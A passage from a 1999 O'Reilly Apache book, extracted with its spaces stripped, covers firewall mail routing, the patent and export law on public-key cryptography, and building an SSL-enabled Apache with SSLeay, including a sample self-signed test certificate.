Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page217
ADDITIONALRECORDS:
knievel.algroup.co.uk.86400A192.168.254.3
arachnet.algroup.co.uk.86400A194.128.162.1
Sent1pkts,answerfoundintime:0msec
FROM:arachnet.algroup.co.uktoSERVER:default0.0.0.0
WHEN:WedSep1818:21:341996MSGSIZEsent:41rcvd:135
Whatdoesallthismean?TheMXrecordshavedestinations(knievelandarachnet)andpriorities(5and7).Thismeans''tryknievelfirstifthatfails,tryarachnet."
Foranyoneoutsidethefirewall,knievelalwaysfails,becauseitisbehindthefirewall*(onInsideandInbetween,somailissenttoarachnet,whichdoesthesame
thing(infact,becauseknievelisoneofthehostsmentioned,ittriesitfirst,thengivesup).Butitisabletosendtoknievel,becauseknievelisonInbetween.Thus,
Adam'smailgetsdelivered.Thismechanismwasdesignedtodealwithhoststhataretemporarilydownormultiplemaildeliveryroutes,butitadaptseasilytofirewall
traversal.
ThisaffectstheApacheuserinthreeways:
ApachemaybeusedasaproxysothatinternaluserscangetontotheWeb.
ThefirewallmayhavetobeconfiguredtoallowApachetobeaccessed.Thismightinvolvepermittingaccesstoport80,thestandardHTTPport.
WhereApachecanrunmaybelimited,sinceithastobeonOutside.
LegalIssues
Wediscussedthegeneralprinciplesofcomputersecurityearlier.HerewewilllookathowsecurecommunicationisbuiltintoApache.Butbeforewedothat,wehave
tolookatthelegalproblems,whicharesomewhattrickierthanthetechnicalones.Thisisperhapsnotsurprising,whenonethinksaboutthesocialpowerthateffective
encryptiongivestheuser.
Obviously,browserandserverhavetobethinkingalongthesamelinesiftheyaregoingtocollaborateontrickyenterpriseslikePKencryptionanddecryption.Inthis
caseitisNetscapewhocallsthetune,withtheirSecureSocketsLayer(SSL)protocol,whichusesthePKalgorithm.**
TherearetwoareasoflegalconcerninmakinguseofPK:patentrightsandnationalsecurity.
*Weknowthisbecauseoneoftheauthors(BL)isthefirewalladministratorforthisparticularsystem,but,evenifwedidn't,we'dhaveabigcluebecausethenetworkaddressfor
knievelisonthenetwork192.168.254,whichisa"throwaway"(RFC1918)netandthusnotpermittedtoconnecttotheInternet.
**ThereisarivalschemecalledSecureHypertextTransferProtocol(SHTTP)thatisnotwidelyused.IfitiseveradoptedbytheInternetEngineeringTaskForce(IETF),whodecide
whatisandisn'tanInternetprotocol,SSLwillbecalledTransportLayerSecurity(TLS).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page218
PatentRights
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thepatentpositionisthis:
TheMassachusettsInstituteofTechnologyandtheBoardofTrusteesoftheLelandStanfordJuniorUniversityhavegrantedPublicKeyPartners(PKP)exclusive
sublicensingrightstothefollowingpatentsissuedintheUnitedStates,andalloftheircorrespondingforeignpatents:CryptographicApparatusandMethod
("DiffieHellman")No.4,200,770PublicKeyCryptographicApparatusandMethod("HellmanMerkle")No.4,318,582CryptographicCommunicationsSystem
andMethod("RSA'')No.4,405,829ExponentialCryptographicApparatusandMethod("HellmanPohlig")No.4,424,414.ThesepatentsarestatedbyPKP
tocoverallknownmethodsofpracticingtheartofPublicKeyencryption,includingthevariationscollectivelyknownasElGamal.PublicKeyPartnershas
providedwrittenassurancetotheInternetSocietythatpartieswillbeabletoobtain,underreasonable,nondiscriminatoryterms,therighttousethetechnology
coveredbythesepatents.*
First,thereisadivergencebetweentheUnitedStatesandtherestoftheworldinthematterofpatentingcomputerprograms.Therestoftheworldfollowstheold
maximthatyoucannotpatentanideaoraformofwords,butyouhavetopatentanactualdevice.Acomputerprogramisnotadevice,soyoucannotpatentit.The
UnitedStates,ontheotherhand,adoptswhatlookslikeaconvenientfictiontoeveryoneelseandsaysthatacomputerrunningaparticularprogramisdifferentfrom
thesamecomputerrunninganotherprogrambecausethepatternsof0sand1sinitsmemoryandCPUregistersaredifferent.Aprogramisthereforeapatentable
device.
However,theRSAalgorithmwasexplainedinprintbeforethepatentwasappliedfor.Inmostcountries,thatwouldbeanabsolutebartothegrantingofapatent,but
theUnitedStateshasanotherdifferenceinitspatentlaw:patentsaregrantedtothefirsttoinvent.Intheordinarycourseofaffairs,youinventsomethingbeforeyou
describeitinprint,sopriordisclosureisnotasmuchofaproblemintheUnitedStatesasitiselsewhere,buttheRSApatentmayyetbeoverturned.
Forthemoment,however,thepatentseemstobegoodandnormal,andpatentlawappliestotheRSAalgorithmasitdoestoanyotherpatenteddevice:youmaynot
useapatentedprogramforcommercialpurposesintheUnitedStateswithoutalicensefromthepatentee.ThisalsoappliestoprogramsbroughtintotheUnitedStates
fromabroadthatusethebasicalgorithms.So,thedoughtyAustralian,EricYoung,whowrotetheSecureSocketsLayerlibrariesfrombasicnumbertheory,findsto
hisannoyancethathiscodeissubjecttoU.S.lawandcomplainsthatintheUnitedStatespeoplewhousehiscodehavetopayalicensefeeto"peopleheandthey
havenevermet."
*
SSLProtocol,NetscapeCorporation.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page219
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Butthisisnodifferentfromanyotherpatent.If,intheprivacyofyourAustraliankitchen,youmakeacopyofaneyebrowtweezerpatentedintheUnitedStatesand
giveittosomeonewhousesitcommerciallyintheirhairdressingsaloninCalifornia,theownerofthepatentcanlegallydemandafee,eventhoughneitherofyouhave
methimandthetweezersweremadeinpatentfreeAustralia.Thisishowpatentswork.
Patentshavetobeappliedforandgrantedcountrybycountry.ThefactthatadeviceispatentedintheUnitedStatesgivesitnoautomaticprotectioninThailand.And,
infact,noothercountryintheworldrecognizessoftwarepatents,sothecommerciallicensefeeisonlypayableintheUnitedStates.
U.S.licensesforthepublickeyalgorithmsusedinApachearetobehadfromPKPonpaymentofanegotiablefee.
NationalSecurity
Thepatentissueisrelativelystraightforwardthatofsecurityisbyzantine.Theproblemisthatunbreakableencryptionisamatterofextremenationalmilitary
importance.ItmightconceivablybearguedthatGermany'srelianceonvulnerableencryptionlostherWorldWarIIitcertainlycostherenormouslossesinlivesand
materiel.
Asaresult,publickeyencryptiontechnology,whichisunbreakableprovidedthekeyisbigenough,isregardedbycertaincountries,includingtheUnitedStates,asa
munitionofwaronaparwiththedesignofanHbombwarhead,anditmaynotbeexportedoutsidetheUnitedStatesorCanada(whichisregardedasthesame
defensezone).
Inviewofthefactthatyoucangotoanygoodlibrary,asEricYoungdid,readthealgorithms,andwriteyourowncode,thisisratherasillystancetotake.Butitis
thestancethattheU.S.governmenttakes,andtheycompoundtheproblem*bysayingthatPKencryptionusingshortkeys(40bits)isallright,butusinglongerkeys
isnot.**Thedifferenceissimplysettingavariableinthesourcecode.
*
TheU.S.DepartmentofDefensehasgottenitselfintoasimilartangleovertheGlobalPositioningSystem(GPS).Originallydesignedasamilitarydevicetogivepositions
accuratetoameterorso,itisdegradedforpublicusesothattheaccuracyissomethinglike20metersinorderthattheUnitedStates'enemiesshouldnotprofitbyit.Butduring
theGulfWar,whenmanyU.S.fieldunitsbroughttheirowncivilianGPSsetstosupplementthemeagermilitarysupply,thedegradationinthecivilianchannelswasswitchedoff
sothatallusers,enemyaswellasfriendly,hadfullmilitaryprecision.Oncethewarwasover,thedegradationwasswitchedonagain!
**Actually,itismorecomplexthanthis.Theactualencryptionusedis128bitsymmetricencryption,usingarandomkeythatisexchangedusingPKencryption.Forexport,only40
bitsofthe128bitsaresentencrypted.Theother88bitsareintheclear.Butenoughofthetechnicaldetailstheessenceisthattheencryptionisweakenoughtobebrokenwithout
spendingtoomuch.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page220
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Oneoftheauthors(BL)ofthisbookhasaTshirtonwhichisprintedaPKalgorithm.YouwouldthinkthatifheboardsanintercontinentalaircraftintheUnited
Stateswearingthisshirt,hecommitsaveryseriousfederaloffense.Butitseems,toputanevenmorebizarretwisttothestory,thatitisnotillegaltoexportlistingsof
encryptionprograms.*Presumably,theenemiesoffreedomcannotread.
AsfarasU.S.lawisconcerned,theworlddividesintothreegeographicalareas:
TheUnitedStates
Canada
Therestoftheworld
IntheUnitedStates,peoplecanusefullstrengthPKalgorithmsbutmustpayalicensefeetoPKP.Andyoucanimportanduseillegalencryptionsoftwarefrom
abroad,withoutfearoftroublefromtheDefenseDepartmenthowever,youshouldpaypatentlicensefeestoPKP,sothereisnotmuchpoint.
InCanada,youcanusethefullstrengthencryptionexportedfromtheUnitedStates,andyoudon'thavetopayalicensefeebecauseCanadadoesnotrecognize
patentsonsoftware.
Intherestoftheworld,youcanusefeebleencryptionexportedfromtheUnitedStatesorfullstrengthencryptionbrewedlocally.Ifyoucan'tgetitlocally,thereare
plentyofpeopleinMoscowandotherplaceswhowillgiveyouthefullstrengthU.S.product.
BritainusedtofollowtheU.S.banonexportsofmunitionsofwar,butnowthefollowingtwoinstrumentsapply.(Wethink!TheU.K.governmentisnomore
interestedinmakingiteasytofigureoutwhatisgoingonthantheU.S.government,itseems.)
TheExportofGoods(Control)Order,whichisUnitedKingdomlegislation
DualUseandRelatedGood(ExportControl)Regulations,whichareEuropeanCommunitylaw
TheselawsarerathermorelenientthanU.S.law,and,inparticular,ApacheSSLisprobablyexemptasanoverthecounterproduct.Anyonewhowantstogetinto
thisbusinessshouldseeklegaladvice,sincetheBritishgovernmentisnofonderthananyotherofexplaininginclearandsimpletermswhatthelawactuallymeansin
practice.However,italsoisveryshyofmakingafoolofitselfincourt,sothesituationdoesnotseemtobedraconian,thoughitismoreworryingthanit
*Actually,theTshirtanticipatesthisandincludesacomputerreadableversion(intheformofabarcode),especiallytomaketheTshirtunexportable.Ontheothersideofthe
coin,BruceSchneier'sexcellentAppliedCryptography,whichincludessourcecodeforvirtuallyeverycryptoalgorithmknowntoman,isfreelyexportable(atleast,aslongasyou
takethefloppyoutfirst).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page221
was.Atthetimeofthiswriting(summer1998),thenewLaborgovernmenthadbeeninpoweraboutayear.Themanifestothatledtotheirelectionhadmadeanodyne
noisesaboutencryption,butastimewenton,itappearedthattheAmericangovernmentwasmakingstrenuouseffortstogetBritainandtheEuropeanCommunityto
adheretoitsunsatisfactorypolicies.ThesituationmayhavebeencomplicatedbyBritishprimeministerBlair'sneedtogetPresidentClinton'sactivehelpinreducing
U.S.supporttotheIRAinordertotrytoresolvetheIrishwar.Intheprocesshemayhavebeenobligedtogiveunpublishedundertakingsonotherissueswhich
mayhaveincludedencryption.
TheproposalbeingtoutedcomesfromRoyalHollowayCollege,whichispartofLondonUniversity,andtheEuropeanCommissionCouncilDGIII,andwould
establishadistributed,securekeyescrowsystem.Itwouldbeillegaltouseakeythatwasnotheldinescrow.Thereareatleasttwoproblemswiththispolicy:
Onecorruptofficialwithintheescrowsystemcouldthrowevery"secure"siteopentotheunderworld.
Itwouldnotbothercriminalsatall.
Itisratherasthoughanewkindofunbreakabledoorlockhadbeeninvented.Thegovernment,afraidthatbehindthesenewdoors,citizensaregoingtodo
unspeakablethings,ordersthateveryownerofthenewlockhastodepositacopyofthekeyatthepolicestation.Thecriminalsdonotbother,andtheirfriendsthe
corruptpolicemengivethemallthehonestpeoples'keys.
Thedifficultywithtryingtocriminalizetheuseofencryptedfilesisthattheycannotbepositivelyidentified.Anencryptedmessagemaybehiddeninanobvious
nonsensefile,butitmayalsobehidden(bysteganography)inunimportantbitsinapictureorapieceofmusicorsomethinglikethat.Conversely,anonsensefilemay
beanencryptedmessage,butitmayalsobeacorruptordinaryfileoraproprietarydatafilewhoseformatisnotpublished.Thereseemstobenoreliablewayof
distinguishingbetweenthepossibilitiesexceptbyproducingadecode.Andtheonlypersonwhocandothatisthe"criminal,"whoisnotlikelytoputhimselfin
jeopardy.
France,asalwaysverypracticalinmattersofnationalsecurity,bansPKencryptionwithoutalicensefromthegovernment,andthegovernmentdoesnotissue
licenses.UseofthetechnologyinFrance,letaloneitsexport,isacrime.Wewouldbeinterestedtohearreliableaccountsofthepositioninothercountriesfor
inclusioninlatereditionsofthisbook.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page222
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SecureSocketsLayer:HowtoDoIt
TheobjectofwhatfollowsistomakeaversionofApachethathandlestheHTTPS(HTTPoverSSL)protocol.CurrentlythisisonlyavailableinUnixversions,and
giventhemanyconcernsthatexistoverthesecurityofWin32,thereseemslittlepointintryingtoimplementSSLintheWin32versionofApache.
ThefirststepistogetholdoftheappropriateversionofApacheseeChapter1,GettingStarted,andtheApacheSSLhomepageathttp://www.apachessl.org/
forcurrentinformation.Downloadthesourcecode,orcopyitfromthedemonstrationCDROM,andexpandthefilesinsomesuitabledirectory.Ansrcsubdirectory
willappear.Sofar,sogood.
Thenext,andeasieststepofall,istodecidewhetheryouareintheUnitedStatesandCanadaortherestoftheworld.Thenfollowtheseguidelines:
IntheUnitedStatesandCanada
Youhavetwochoices.YoucangetacommercialSSLenabledwebserver,oryoucandowhattherestoftheworlddoes(seebelow),notingonlythatyouneedto
getalicensetouseRSA'spatentsifyouwanttomakemoneyoutofyourSSLenabledApache(seewww.rsa.com).
Intherestoftheworld
Ifyourdeliberationsleadyoutobelievethatyouliveintherestoftheworld,proceedasdescribedinthefollowingsections.
GetSSLeay
ThefirstthingtodoistogetSSLeay.SSLeayisaafreelyavailablelibrary,writtenbytheAustralianEricYoung,whichdoesprettymucheverythingcryptologicalthat
themostsecretiveheartcoulddesire.Wewenttoftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/(whichseemstobelongtothepsychology
departmentoftheUniversityofQueensland,Australia,andwhyshouldwequibble?),downloadedSSLeay0_9_0b_tar.gzsinceitlookedthefreshest,and
putitinto/usr/local/etc/SSL.Weuncompresseditwith:
%gzipdSSLeay0_9_0b_tar.gz
%tarxvfSSLeay0_9_0b_tar
producingasurprisingamountofstuffinasubdirectorySSLeay0.9.0b.Gothere.First,readINSTALL,whichdescribesaconfigurationprocessnotunlike
thatforApache,butsomewhatrougher.ThingswillgomoresmoothlyifyouhavealreadyliberatedPerianditisin/usr/local/bin.ThescriptwillputSSL
in/usr/local/binifyoudon'tlikethis,youcanchangeitshome.Youaretoldtorun./Configuresystemtypebut,slightlyalarmingly,
INSTALLdoesn'ttellyouwhatthepossible
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page223
systemtypesare.However,werememberthatifanythinggoeswrong,wecanjustgobacktothetopdirectory,runtaragaintostartover,and
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
%./Configure
Alistofsystemsappears,amongwhichisFreeBSDand,wehope,yours.Weran./Configureagain:
%./ConfigureFreeBSD
Thissetsupanumberofsystemvariablesandreportsthemtothescreen.Aslongasthereisnotanobviouserror,wedon'treallycarewhatitsays.INSTALLthen
tellsustotidyuptheplace,makeSSL,makethetestcertificate,andtesttheresultbyusingthesefourcommands:
%makeclean
%make
%makerehash
%maketest
Again,alotofprattleoutputstothescreenthatisprobablyreallyinterestingifyouareEricYoung,andlessfascinatingotherwise.Theoutputendswithaprintoutof
yoursignedcertificate,newcert.pem
AndthenweperformthefinalsteprecommendedinINSTALL:
%makeinstall
Itturnedoutthatssleayhadn'tbeeninstalledin/usr/local/bin.aspromised,butwasin/usr/local/ssl/bin.Thismayhavebeenfixedbythetimeyoudoallthis,butif
not,addthenewdirectorytoyourpath.Justhowyoudothisdependsontheshellyouarerunning,sowewon'tconfuseyouwithadvicethatmaybeinappropriate.
Seeyouradministratorincaseofdifficulty.
GettheApacheSSLPatch
ItisimportantthatifyouhavealreadymadeApacheyoushoulddeletethewholedirectorywith:
%rmRapachedirectory
ReexpandtheoriginalApache.tarfiletocreateacompletedirectory(seethesection"MakingApacheUnderUnix,"inChapter1)anddownloadtheApacheSSL
patchfilefromOxfordUniversity:ftp://ftp.ox.ac.uk/pub/crypto/SSL/oroneofthemirrorsites.Itisimportantthatthefileyoudownloadisasnewasyoucangetand
matchestheApacheversionyouhavejustexpanded.ThereasonyoushouldreexpandApacheisthatApacheSSLhastopatchthesourceofApache,soitmustbe
"asnew."*Inourcasewegotapache_1_3_1+ssl_1_22_tar.gz,copieditintothe
*ToansweraFAQ:No,ApacheSSLcannotbeapuremoduletheApacheAPIisnotpowerfulenoughtopermitthat.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page224
/apache/apache_1.3.1subdirectory(notthe/srcsubdirectory,asinthepreviousedition),andexpandeditwith:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
%gzipdapache_1_3_1+ssl_1_22_tar.gz
%tarxvfapache_1_3_1+ssl_1_22_tar
Youfindanumberof*.SSLfiles.TheimmediatelyinterestingoneisREADME.SSL,writtenbyoneoftheauthorsofthisbook(BL),whichyoushould,ofcourse,
read.
MakethePatch
ThenextstepistodoasinstructedinREADME.SSL:
%./FixPatch
Youwillbeaskedifyouwantthepatchapplied,towhichyoureplyy.Agooddealofchatensuesonthescreen,butaslongasitdoesnotstopwithanerror,allis
well.*patchisaUnixutility.Ifyougetthemessage:
Lookslikeanewstylecontextdiff
Filetopatch:
andnotmuchelse,youmayhaveanoutofdateversionofpatch.Youcangettheversionnumberbytyping:
%patchversion
Ifyouhaveaversionearlierthan2.1,youneedtoupgrade.Ifyouhave2.5andyoustillhaveproblems,youmayfindthat:
%patchpl<SSLpatch
willwork.
Ausefulsite,whichhasFAQsaboutApacheSSL,iswww.apachessl.org.
RebuildApache
YouthenhavetorebuildApache.Sinceyouhavereplacedallthefiles,includingtheoriginalConfiguration,youmaywanttocopytheversionyousavedinthetop
directory(see"ConfigurationSettingsandRules,"inChapter1)backdown.Checkthatthislineinthisfilehasbeencorrectlyaltered:
SSL_BASE=<currentlocationofSSL>
*Notethatsomeoperatingsystems(notablySolaris)comewithanexceedinglyoutofdateversionofpatch,whichdoesn'tworkproperlywithApacheSSL'spatchfiles.The
currentversionofpatchatthetimeofwritingis2.5.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page225
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ThisshouldbethedirectorywhereSSLeayhasunpackeditselfinourcase/usr/local/etc/SSL/SSLeay0.9.Ob.
Run./ConfiguretoremaketheMakefile,andthenmaketocompilethecode.Theendresult,ifallhasgonewell,isanexecutable:httpsd.Copyit
into/usr/local/binnexttohttpd.
MakeaTestCertificate
Wenowneedatestcertificate./apache_1.3.1/src/Makefilehasthenecessarycommandsinthesectionheaded"certificate":
certificate:
$(SSL_APP_DIR)/ssleayreqconfig../SSLconf/conf/ssleay.cnf\
newx509nodesout../SSLconf/conf/httpsd.pem\
keyout../SSLconf/conf/httpsd.pem\
Insf../SSLconf/conf/httpsd.pem../SSLconf/conf/'$(SSL_APP_DIR)/ssleay\
x509noouthash<../SSLconf/conf/httpsd.pem'.0
Nowtype:
%makecertificate
Anumberofquestionsappearaboutwhoandwhereyouare:
/usr/local/etc/SSL/SSLeay0.9.0b/apps/ssleayreqconfig../SSLconf/conf/
ssleay.cnfnewx509nodesout../SSLconf/conf/httpsd.pemkeyout../
SSLconf/conf/httpsd.pemInsf../SSLconf/conf/httpsd.pem../SSLconf/conf/
'/usr/local/etc/SSL/SSLeay0.9.0b/apps/ssleayx509noouthash<../
SSLconf/conf/httpsd.pem'.0
Generatinga1024bitRSAprivatekey
...........+++++
...........+++++
writingnewprivatekeyto'../SSLconf/conf/httpsd.pem'
Youareabouttobeaskedtoenterinformationthatwillbeincorporated
intoyourcertificaterequest.
WhatyouareabouttoenteriswhatiscalledaDistinguishedNameoraDN.
Therearequiteafewfieldsbutyoucanleavesomeblank.
Forsomefieldstherewillbeadefaultvalue,
Ifyouenter'.',thefieldwillbeleftblank.
CountryName(2lettercode)[GB]:US
StateorProvinceName(fullname)[SomeState]:Nevada
LocalityName(eg,city)[]:HopefulCity
OrganizationName(eg,companyrecommended)[]:ButterthliesInc
OrganizationalUnitName(eg,section)[]:Sales
CommonName(eg,ssl.domain.tldrequired!!!)[]:www.butterthlies.com
EmailAddress[]:sales@butterthlies.com
Yourinputsareshowninboldtypeintheusualway.Theonlyonethatreallymattersis"CommonName,"whichmustbethefullyqualifieddomainname(FQDN)of
yourserver.Thishastobecorrectbecauseyourclient'sNetscapes(and
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page226
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
presumablyothersecurityconsciousbrowsers)willchecktoseethatthisaddressisthesameasthatbeingaccessed.Theresultisthefile/conf/httpsd.pem(yours
shouldnotbeidenticaltothis,ofcourse):
BEGINRSAPRIVATEKEY
MIICXAIBAAKBgQDBpDjpJQxvcPRdNOflTOCyQp1Dhg0kBruGAHiwxYYHdlM/z6k
pi8EJFvvkoYdesTVzM+6iABQbk9fzvnG5apxy8aB+byoKZ575ce2Rg43i3KNTXY+
RXUzy/5HIiLOJtX/oCESGKt5W/xd8G/xoKR5Qe0P+1hgjASF2p97NUhtOQIDAQAB
AoGALIh4DiZXFcoEaP2DLdBCaHGT1hfHuU7q4pbi2CPFkQZMU0jgPz140psKCa7I
6T6yxfi0TVG5wMWdu4r+Jp/q8ppQ94MUB5oOKSb/Kv2vsZ+T0ZCBnpztleia9ypX
ELTZhngFGkuq7mHNGlMyviIcq6Qct+gxd9omPsd53W0th4ECQQDmyHpqrrtaVlw8
aGXbTzlXp14Bq5RG9RoleibhXId3sHkIKFKDAUEjzkMGzUm7Y7DLbCOD/hdFV6V+
pjwCvNgDAkEA1szPPD4eB/tuqCTZ+2nxcR6YqpT9FPBAV9Gwe7Svbct0yu/nny
bpv2fcurWJGI23UIpWScyBEBR/z34El3EwJBALdw8YVtTHT9IlHN9fCt93mKCrov
JSyFlPBfCRqnTvK/bmUij/ub+qg4YqS8dvghlL0NVumrBdpTgbO69QaEDvsCQDVe
P6MNH/MFwnGeblZr9SQQ4QeI9LOsIoCySGod2qf+e8pDEDuD2vsmXvDUWKcxyZoV
Eufc/qMqrnHPZVrhhecCQCsP6nb5AKu2dbhX+TdYQZZDoRE2mkykjWDK+B22C2/4
C5VTb4CUF7d6ukDVMT2d0/SiAVHBEI2dR8Vw0G7hJPY=
ENDRSAPRIVATEKEY
BEGINCERTIFICATE
MIICvTCCAiYCAQAwDQYJKoZIhvcNAQEEBQAwgaYxCzAJBgNVBAYTAlVTMQ8wDQYD
VQQIEwZOZXZhZGExFTATBgNVBAcTDEhvcGVmdWwgQ210eTEZMBcGA1UEChMQQnV0
dGVydGhsaWVzIEluYzEOMAwGA1UECxMFU2FsZXMxHTAbBgNVBAMTFHd3dy5idXR0
ZXJ0aGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZzYWxlc0BidXR0ZXJ0aGxpZXMu
Y29tMB4XDTk4MDgyNjExNDUwNFoXDTk4MDkyNTExNDUwNFowgaYxCzAJBgNVBAYT
AlVTMQ8wDQYDVQQIEwZOZXZhZGExFTATBgNVBAcTDEhvcGVmdWwgQ210eTEZMBcG
AlUEChMQQnV0dGVydGhsaWVzIEluYzEOMAwGA1UECxMFU2FsZXMxHTAbBgNVBAMT
FHd3dy5idXR0ZXJOaGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZzYWxlcOBidXRO
ZXJ0aGxpZXMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBpDjpJQxv
cPRdhNOflTOCyQplDhgOkBruGAHiwxYYHdlM/z6kpi8EJFvvkoYdesTVzM+6iABQ
bk9fzvnG5apxy8aB+byoKZ575ce2Rg43i3KNTXY+RXUzy/5HIiLOJtX/oCESGKt5
W/xd8G/xoKR5QeOP+lhgjASF2p97NUhtOQIDAQABMAOGCSqGSIb3DQEBBAUAA4GB
AIrQjOfQTeOHXBS+zcXy90WpgcfyxI5GQBg6VWlRlhthEtYDSdyNq9hrAT/TGUwd
Jm/whjGLtD7wPx6c0mR/xsoWWoEVa2hIQJhDlwmnXk1F3M55ZA3Cfg0/qb8smeTx
7kMlLoxQjZL0bg61Av3WG/TtuGqYshpE09eu77ANLngp
ENDCERTIFICATE
Thisis,infact,ratheranatypicalcertificate,becauseitcombinesourprivatekeywiththecertificate,whereasyouwouldprobablywanttoapplymorestringent
securitytotheprivatekeythantothecertificate.Also,itissignedbyourselves,makingitarootcertificationauthoritycertificatethisisjustaconveniencefortest
purposes.Intherealworld,rootCAsarelikelytobesomewhatmoreimpressiveorganizationsthanlittleoldus.
Thiscertificatealsoiswithoutapassphrase,whichhttpsdwouldotherwiseaskforatstartup.Wethinkapassphraseisabadideabecauseitpreventsautomatic
serverrestarts,butifyouwanttomakeyourselfacertificatethatincorporatesone,editMakefile(rememberingtoreeditifyourunConfigurationagain),findthe
"certificate:"section,removethenodesflagandproceedasbefore.Or,followthisprocedure,whichwillalsobeusefulwhenweaskThawteforademocertificate.
Gotowhereveryouneedtheresults/site.ssl/confwouldbegood.Type:
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page227
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
%ssleayreqnewoutformPEM>new3.cert.csr
...
writingnewprivatekeyto'privkey.pem'
enterPEMpassphrase:
Typeinyourpassphraseandthenanswerthequestionsasbefore.ThisgeneratesaCertificateSigningRequest(CSR)withyourpassphraseencryptedintoit.Youwill
needthisifyouwanttogetaservercertificate,togetherwiththekeyfileprivkey.pem.
However,ifyouthendecideyoudon'twantapassphraseafterall,youcanremoveitwith:
%ssleayrsainprivkey.pemoutnew3.cert.key
Eitherway,youthenconverttherequestintoasignedcertificate:
%ssleayx509innew3.cert.csroutnew3.cert.csrreqsignkey
privkey.pem
YounowhaveasecureversionofApache,httpsdasitetouseiton,site.sslacertificate,new3.cert.certandasignedkey,privkey.pem.
TheGlobalSessionCache
SSLusesasessionkeytosecureeachconnection.Whentheconnectionstarts,certificatesarecheckedandanewsessionkeyisagreedbetweentheclientandserver
(notethatbecauseofthejoysofpublickeyencryption,thisnewkeyisonlyknowntotheclientandserver).Thisisatimeconsumingprocess,soApacheSSLand
theclientcanconspiretoimprovethesituationbyreusingsessionkeys.Unfortunately,sinceApacheusesamultiprocessexecutionmodel,there'snoguaranteethatthe
nextconnectionfromtheclientwillusethesameinstanceoftheserver.Infact,itisratherunlikely.Thus,itisnecessarytostoresessioninformationinacachethatis
accessibletoalltheinstancesofApacheSSL.Thisisthefunctionofthegcacheprogram.Itiscontrolledbythe
SSLCacheServerPath,SSLCacheServerPort,andSSLSessionCacheTimeoutdirectivesdescribedlaterinthischapter.
Site.SSL
YounowhavetothinkabouttheConfigfilesforthesite.AsampleConfigfilewillbefoundat/apache_1.3.1/SSLconf/conf.Afterweeditittofitoursite,the
Configfileisasfollows:
#ThisisanexampleconfigurationfileforApacheSSL.
#Copyright(C)1995,6,7BenLaurie
#Bypopulardemand,thisfilenowillustratesthewaytocreatetwo
#websites,onesecured(onport8888),theothernot(onport8887).
#Youmayneedoneofthese.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page228
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Userwebuser
Groupwebgroup
LogLeveldebug
#SSLserversMUSTbestandalone,currently.
ServerTypestandalone
#ThedefaultportforSSLis443butweuse8888heresowedon'thave
